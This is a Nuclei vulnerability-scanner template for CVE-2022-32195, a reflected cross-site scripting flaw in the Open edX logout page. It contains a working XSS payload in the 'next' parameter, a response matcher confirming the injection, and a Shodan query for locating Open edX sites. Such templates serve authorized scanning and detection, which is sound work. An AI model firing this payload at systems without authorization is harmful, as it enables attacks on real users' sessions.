nuclei-templates/cves/2022/CVE-2022-32195.yaml

44 lines
1.1 KiB
YAML

id: CVE-2022-32195
info:
name: Open edX - Cross-site Scripting
author: arafatansari
severity: medium
description: |
Open edX platform before 2022-06-06 allows Reflected Cross-site Scripting via the "next" parameter in the logout URL.
reference:
- https://discuss.openedx.org/t/security-patch-for-logout-page-xss-vulnerability/7408
- https://nvd.nist.gov/vuln/detail/CVE-2022-32195
- https://github.com/edx
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
cve-id: CVE-2022-32195
cwe-id: CWE-79
metadata:
comment: Hover the cursor on the redirect link
shodan-query: http.html:"Open edX"
verified: "true"
tags: cve,cve2022,openedx,xss
requests:
- method: GET
path:
- '{{BaseURL}}/logout?next=%208%22onmouseover=%22alert(document.domain)'
matchers-condition: and
matchers:
- type: word
part: body
words:
- '<a href="+8"onmouseover="alert(document.domain)">click here to go to'
- type: word
part: header
words:
- text/html
- type: status
status:
- 200